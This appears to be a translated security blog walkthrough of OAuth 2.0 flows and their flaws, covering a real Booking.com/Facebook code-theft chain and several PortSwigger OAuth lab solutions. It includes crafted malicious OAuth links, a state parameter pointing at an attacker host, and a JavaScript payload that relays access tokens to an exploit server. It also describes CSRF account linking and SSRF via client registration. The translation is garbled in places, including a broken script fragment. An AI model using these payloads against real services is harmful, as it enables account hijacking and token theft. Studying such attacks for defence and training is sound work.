Introduction to OAuth2.0
Introduction: OAuth 2.0 is a set of industry-standard authorization protocol. OAuth 2.0 Allow users to authorize third-party applications to access their data on another service providerwithout sharing their credentials (such as username and password).
OAuth 2.0 defines multiple authorization methods (grant types), each suitable for different application scenarios and security requirements. The following are some common authorization methods in OAuth 2.0:
Authorization code mode
Implicit Authorization Mode
Password Mode
Client Credentials Mode
Refresh Token
Implicit Authorization
Choose to log in with Facebook on Randomsite.com
Randomsite.com will open a new window of Facebook.
If this is your first time using Randomsite.com, Facebook will ask for your permission. Otherwise, Facebook will automatically authenticate you.
After clicking 'Continue as John', Facebook will generate a secret token. This token is private to Randomsite.com and is associated with your Facebook profile.
Facebook uses this token to redirect you back to Randomsite.com.
Randomsite.com uses this token to directly communicate with Facebook to obtain your email address.
Facebook approves this as indeed john@gmail.com, and Randomsite.com can log him in.
In step 2-3: After John clicks on Facebook login, Randomsite.com will open a new window pointing to the following address: https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token. Please note the redirect_uri parameter - it tells Facebook where to send the token in step 4-5.
In step 4-5: Facebook prepared a secret token for Randomsite.com (the client_id parameter tells Facebook that the request comes from randomsite.com), and redirected your browser back to redirect_uri. The exact redirection: https://randomsite.com/OAuth#token=[secret_token]&state=[Random_Value]
In steps 6-7: Randomsite.com reads the token from the URL, and uses the following API to communicate directly with Facebook: https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token]. The response is john@gmail.com.
Authorization code mode
The authorization code mode is very similar to the implicit authorization mode, the only difference is that in the implicit mode, Randomsite.com directly uses the token obtained in the fifth step as a credential to access Facebook resources, while in the authorization code mode, Randomsite.com needs to exchange the token with Facebook for an access token, and then Randomsite.com uses the access token to access Facebook's resources
Why is the authorization code mode more secure? GPT and many blogs give the following answers:
The authorization code mode is more secure because the token exchange occurs on the server side. The implicit authorization mode is less secure due to the transmission of the token in the browser.
In design, the token or code in the authorization code mode is one-time, even if the code is leaked or stolen, it is almost impossible to be exploited unless it is intercepted (see the example below).
Introduction of other modes
Password mode: similar to general password login, but the account password that is verified is not the site A accessed by the customer, but an authentication server B. Generally, site A and the authentication server belong to the same company or organization
Client credentials mode: the client mode is mainly used for backend services without user participation, such as open API scenarios
Refresh token mode: the long-term valid token is divided into long tokens and short tokens similar to those commonly used in JWT
A real OAuth2.0 vulnerability
This is an example of the authorization code mode
Compared with the implicit authorization introduced in the previous OAuth, it adds steps 6-7 of the authorization code mode, steps 6-7 use Facebook API to exchange the code with the token:
Defect one - controllable redirection path
When the user clicks to log in with Facebook on Randomsite.com, the link points to:https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code
Among themhttps://www.facebook.com/v3.0/dialog/oauth
This is the Facebook authentication interface, and the redirect= parameter is the URL that jumps back after authentication.
In the redirect parameter, the domain is often strictly controlled, which is easy to understand, in order to prevent URL redirection vulnerabilities, Facebook may control the requesthttps://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code
the referer for verification, or more strictly, the redirect should bind the domain to be redirected with the client_id, as all client_ids are legitimate and secure sites registered on Facebook.
Howeverredirect=https://domian.com/path/
The path may not be strictly restricted, so we can modify the link tohttps://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/any/path/attacker/wants&scope=email&client_id=210068525731476&state=[large_object]&response_type=code
, this modification will cause that inwww.facebook.com
After allowing login, it will jump tohttps://account.booking.com/any/path/attacker/wants?code=
The redirected site is not controllable, but the path is controllable, and it carries the code parameter that we may be interested in
Defect two - Open Redirect Vulnerability (URL redirection vulnerability)
On Randomsite.com, a URL redirection vulnerability was found, namelyhttps://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback?response_type=code&state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9
The link will redirect the user tohttps://account.booking.com/mysettings/personal
This is due to the parameter state, which is a base64 encoded string, decoded as
{"mysettings_path":"/mysettings/personal","aid":"123"}
Therefore, we can construct the state parametereyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
{"mysettings_path":"https://attacker.com/index.php","aid":"123"}
Obtain the code by combining flaws one and two
We construct the following link and send it to the victimhttps://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476
Note how we exploited flaws one and two: we changed the redirect path after Facebook authentication, from a secure path/social/result/facebook
has been replaced with a URL that has a redirection vulnerability/oauth2/authorize
We take advantage of the URL redirection vulnerability again, redirecting the parameter state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMif指向the attacker-controlled malicious link.
The ideal attack scenario is that the user clicks on the malicious link we send, enters the Facebook authorization login interface, authorizes after the user authorizes, and the code of interest to the attacker is carried over to the existing URL redirection vulnerability.https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&code=666666
and then jumped to the malicious site pointed to by state due to the URL redirection vulnerability.
Here is a small trick, the redirect usually does not carry query parameters (you can observe the response packet, the location: will not carry the query parameters after ?), so the &code=666666 in our link will not be carried tohttps://attacker.com/index.php
How to solve this problem when making a request? The key is the parameters in the Facebook authorization login URLresponse_type=
and change it fromresponse_type=code
changed toresponse_type=code, token
This will cause Facebook not to send the code through parameters, but to pass it through an identifier fragment, that ishttps://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ#code=[secret_code]&access_token=[token]
, the URL redirection will carry this fragment identifier
Therefore, we changed the initial link tohttps://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code, token;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476
After the user clicks, the final jump will be to the following requesthttps://attacker.com/index.php
The attacker can read #code=[secret_code]&access_token=[token] through JavaScript (see example in Portswigger wargame five), intercepting and stealing the code
Regarding the exploitation of the code
Send the just constructed link to the victim
The victim clicks the link, and the attacker steals the code
The attacker attempted to log in and intercepted the message in step five, replacing their own code with the stolen code
The attacker successfully logged in using the victim's code
The steps above are ideal, in fact, in this real existing vulnerability, this method is not feasible because Facebook's api has restrictions. In the sixth step, Randomsite.com initiated the following request to Facebook:
This request requires that redirect_uri remain consistent with the original parameters when initiating the OAuth login process, that is, the URL in step five?code=666666, the URL must be consistent with the redirect_url that obtained code=666666, in the previous example, it isredirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code, token;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
However, this is impossible to achieve because the attacker also must go through/social/result/facebook
Login
Combining the new vulnerability
A vulnerability has been found in the mobile app of Randomsite.com:
This request can be considered as a substitute for step five, but it is redundant because when requesting an access token from Facebook, the parameter redirect_uri is not obtained from the request URL of step five, but from the parameter resultUri in the post body, which means that the attacker can change resultUri so that redirect_uri matches the stolen code.
PortSwigger Training Ground
Just a reminder, for convenience, the client referred to in the following text is the site that needs to perform OAuth authentication, and the authentication server is the site that provides OAuth authentication.
Authentication bypass via OAuth implicit flow (the authentication token is not bound to the account)
Analysis of the login process
These are the related packets during the first login
There are several packets that need to be noted
A request initiated from the site that requires login to the authentication server across domains, at this time the user has not been allowed to log in on the authentication serverThe cookies set at this time should not have authentication functions
Logged in on the authentication server but no other cookies were setAt this time, the only cookie should be assigned the authentication function
Another URL on the authentication server has been located and a new cookie has been set
Now preparing to redirect back to a site using OAuth login, the redirect URL carries the authenticated token
The frontend of the OAuth login site uses the obtained token to initiate a request to the authentication server to obtain resources
In summary, I feel that this process is not strictly implicit authorization. After obtaining the token from the OAuth login site, it does not request the resource of the authentication server on the backend, but performs the request on the frontend.
This is a data packet for logging in again using OAuth after logging in to the authentication server, and it lacks the process of the user logging in to the account password on the authentication server
This data packet has appeared before, and after experiments, the two cookies on this data packet can be authenticated individually by the authentication server, thus obtaining the token
Looking for vulnerabilities to attack
Since it is not a standard implicit authorization, there are many suspicious points in the entire process, but we will directly go to the standard solution of this target field. In the analysis of the login process, I did not give the process of how to log in on this site after the OAuth login site obtains the token and the resource of the authentication server. Now I will give it:
It can be seen that the OAuth login site first uses the obtained token to obtain user name, email and other information from the authentication server, which indicates that the token is bound to a certain account. Then, why does the /authenticate interface carry the username and email in the request packet? At this time, there is a possibility that the login interface does not perform a check between the token and the bound account. Try to change the email and username to other users and log in with the token, and successfully log in to other users
Thought expansion: are there other problems in this process
Cross-domain during authentication
There are frequent cross-domain operations in the authentication process. Noticing that the data packet for obtaining the token is cross-domain access, if it is configured with CORS and configured incorrectly, we can steal the token. However, unfortunately, this interface is not configured with CORS
Cross-domain requests to the resources of the authentication server, it can be seen that there is indeed a problem with the CORS configuration, but unfortunately, this interface does not use cookie authorization, so it cannot be exploited
Other attempts
Send forged links to the victim, after testing, it is not feasible
Lab: SSRF via OpenID dynamic client registration (Authentication server does not perform corresponding legality checks on registered clients, causing SSRF)
An introduction to OpenID
It allows third-party applications to access resources on the resource server with the permission of the resource owner. OAuth 2.0 is essentially an authorization protocol, not an identity authentication protocol.
OIDC (OpenID Connect) adds identity authentication functionality on the basis of OAuth 2.0. It introduces ID token (ID Token) and user information endpoint (UserInfo Endpoint), allowing the client to verify the user's identity and obtain user information.
Main Components of OIDC:}
ID Token: It is a JSON Web Token (JWT) that contains information about the user identity verified by the identity provider (Identity Provider, IdP). It includes user identifiers (such as
sub
),),authentication time (
),authentication method (acr
) etc.UserInfo Endpoint: A protected resource endpoint used to return additional information about the user, such as name, email address, etc. The client uses the access token to request user information.
Authorization Endpoint: The endpoint used to obtain the authorization code (Authorization Code). The client guides the user to this endpoint for authentication and authorization.
Token Endpoint: The endpoint used to exchange authorization code or refresh token to obtain access token and ID token.
Process Overview: This is the OAuth authentication process we discussed earlier, only with some more professional terminology
User Authentication
The client redirects the user to the authorization endpoint of the identity provider.
The user logs in at the authorization endpoint and agrees to the authorization request.
GET /authorize? response_type=code& client_id=CLIENT_ID& redirect_uri=REDIRECT_URI& scope=openid profile email& state=STATE& nonce=NONCE
Obtain Authorization Code
The identity provider redirects the user back to the client, attaching the authorization code.
HTTP/1.1 302 Found Location: REDIRECT_URI?code=AUTHORIZATION_CODE&state=STATE
Token Exchange
The client sends a request to the token endpoint of the identity provider, exchanging the authorization code to obtain the access token and ID token.
POST /token Content-Type: application/x-www-form-urlencoded grant_type=authorization_code& code=AUTHORIZATION_CODE& redirect_uri=REDIRECT_URI& client_id=CLIENT_ID& client_secret=CLIENT_SECRET
{ "access_token": "ACCESS_TOKEN", "id_token": "ID_TOKEN", "token_type": "Bearer", "expires_in": 3600 }
Verify ID token
The client verifies the signature and content of the ID token to ensure its legality and validity.
GET /userinfo Authorization: Bearer ACCESS_TOKEN
Get user information
The client can use the access token to request the user information endpoint to obtain more user information.
{ "sub": "USER_ID", "name": "John Doe", "email": "john.doe@example.com" }
It is not difficult to see that the use of OIDC requires cooperation between OAuth users and providers, especially in the negotiation of some endpoints. Therefore, OAuth users must register on the provider side.
Register Open ID
If dynamic client registration is supported, the client application can send a POST request to the dedicated /registration endpoint. The name of this endpoint is usually provided in the configuration file and documentation. In the request body, the client application submits key information about itself in JSON format, such as the array of redirect URIs that need to be whitelisted, and can also submit a series of other information, such as the names of the endpoints to be made public, the name of the application, etc. Burp provides an example.
/.well-known/openid-configuration is a standard endpoint. Accessing it allows you to see the OIDC-related information of OAuth users.
Accesshttps://oauth-YOUR-OAUTH-SERVER.oauth-server.net/.well-known/openid-configuration
Some endpoint information can be seen, paying attention to 'registration_endpoint'
Generally, a client needs to go through some form of authentication to register OpenID with the authentication server, to verify the legality of the client. However, some authentication servers allow dynamic client registration without any authentication. This allows attackers to register their own malicious client applications, some of which can be used as URIs to control, potentially leading to security risks such as SSRF.
Looking for vulnerabilities to attack
Sorting out the login process, there are two data packets worth noting. Here, a request was initiated to the authentication server, and the response packet contains a 'login-client-image'. From the noun and the link it points to, it can be known that this is the logo corresponding to the OAuth client registered.
Afterward, the client continues to request this logo from the authentication server, which directly returns the SVG image. Why can the client's logo be requested from the authentication server? It is obvious that when the client registered on the authentication server, either the logo was uploaded or a URL was provided. If the latter, there is a risk of SSRF.
We try to register a client
Make a request to the path corresponding to the authentication server and client logo
Prove that SSRF indeed exists. Re-register and change the path to the malicious path given in the question
Make a request to the path corresponding to the authentication server and client logo, and the response packet contains some sensitive information of the authorization server, completing the SSRF attack
Lab: Forced OAuth profile linking (defects in the process of binding the authentication server account, causing the attacker to bind the legitimate user's account)
Analyze the login process
The entire process can be roughly divided into three parts:
Log in to the user's website
Log in to the authentication server
Redirect to the user's website with the code carried by the authentication server, since the user has already logged in to the user's website, the user is bound to the code, which is the account of the authentication server
And it is noted that only one data packet is used in the third step, and the only parameter is the code associated with the authentication server account
At this time, if the authentication server account related to the code is the attacker's account, the user account can be bound to the attacker's account, and the attacker can steal the target account. By checking the cookie settings of the site, it is found that CSRF can be performed.
Intercept the corresponding data packet when attaching a social profile on the my account page, because the code is only valid once, and we discard this packet after obtaining the code
Construct the payload on the exploit server, deliver the exploit to the victim. In reality, this step is to send a malicious link to the victim, and the victim clicks on the link to bind the administrator to the attacker's authentication server account
The attacker logs in to the account, deletes carlos, and completes the target range
Lab: OAuth account hijacking via redirect_uri (code leakage caused by redirect_uri not being bound to the client)
The entire login process here is not much different from the previous one, so there is no need to analyze it further. We will directly focus on the situation where the user has already logged in to the authentication server:
There are only two data packets, the first packet carries the client id, redirect_uri, and some other parameters sent to the authentication server. Since the user has logged in to the authentication server before, the cookie is still valid and there is no need to log in again. The second packet sends a request to the client based on the redirection of the first response packet, and the client retrieves the code, indicating a successful login. The user only needs the code to log in on the client side. If the first redirection result points to a malicious website, the attacker can steal the code, so it is necessary to check whether the redirection URL is controllable.
After testing, we found that it is indeed controllable, so similar to the previous target field, we steal the user's code through CSRF. We will construct a malicious link. This link is a login packet, but the redirect_uri points to a malicious website. When a legitimate user clicks the link, it will carry the authentication code and be redirected to the malicious website, allowing the attacker to steal the code.
Construct malicious links
Send it to the victim to steal the code, and we can log in to the target account by replacing the code during the login process
Stealing OAuth access tokens via an open redirect (combined with URL redirection vulnerability to steal sensitive information)
Check the situation where you have logged in to the authentication server before:
In the previous target field, we tried to change the redirect_url of the packet shown in the figure, causing the token to leak to the attacker. When we tried to modify the redirect_url again, we found that it is not allowed
However, in a previous real case shared, another method of using the redirect_url was provided, which is to modify the path to point to a link that exists on the site with a URL redirection vulnerability, carrying the token to make another request to the attacker's controlled server. The solution method of this target field is similar to the previous real case, we found that although the path of the redirect_url cannot be directly modified, it can be accessed to other paths through directory traversal
The reason for using the /post/next path is that we found a URL redirection vulnerability here
Construct malicious links and send them to the victims.
However, this still does not give us the token after the #, we can observe the sent data/auth?client_id=zuvm1vumrj7xckovj1d3h&redirect_uri=https://0a8c0023037ccdbc82bc472600f000a5.web-security-academy.net/oauth-callback&response_type=token&nonce=202715255&scope=openid%20profile%20email
After this package, the url in location has a fragment after #, but it follows the redirection, and the fragment after # is not carried in the requested url. However, we can read it through JavaScript, which requires us to slightly modify the payload to use JavaScript to read it.
<script>
if (!document.location.hash) {
window.location = 'https://oauth-0a4d006103c4cde88222452802e800e5.oauth-server.net/auth?client_id=zuvm1vumrj7xckovj1d3h&redirect_uri=https://0a8c0023037ccdbc82bc472600f000a5.web-security-academy.net/oauth-callback/https://www.freebuf.com/articles/post/next?path=https://exploit-0a67002203ddcd94827646bf019900b4.exploit-server.net/exploit&response_type=token&nonce=399721827&scope=openid%20profile%20email'
}
window.location = '/?'+document.location.hash.substr(1)
}
</script>
Send the malicious link to the victim, and you can see that we have already obtained the token
Using token to steal apikey
Lab: Stealing OAuth access tokens via a proxy page (stealing sensitive information through some dangerous JavaScript operations)
The solution approach of this lab is basically the same as the previous question, the difference lies in that we replace the operation of stealing the token through the URL jump vulnerability with a dangerous JavaScript operation existing on the page.
We notice that a message is sent after the article comments:
The JavaScript in the response will send the url (including the hash fragment) to our parent window, so if the parent window is not trustworthy, there is a risk of leaking sensitive information.
We construct the following malicious link and send it to the victim

评论已关闭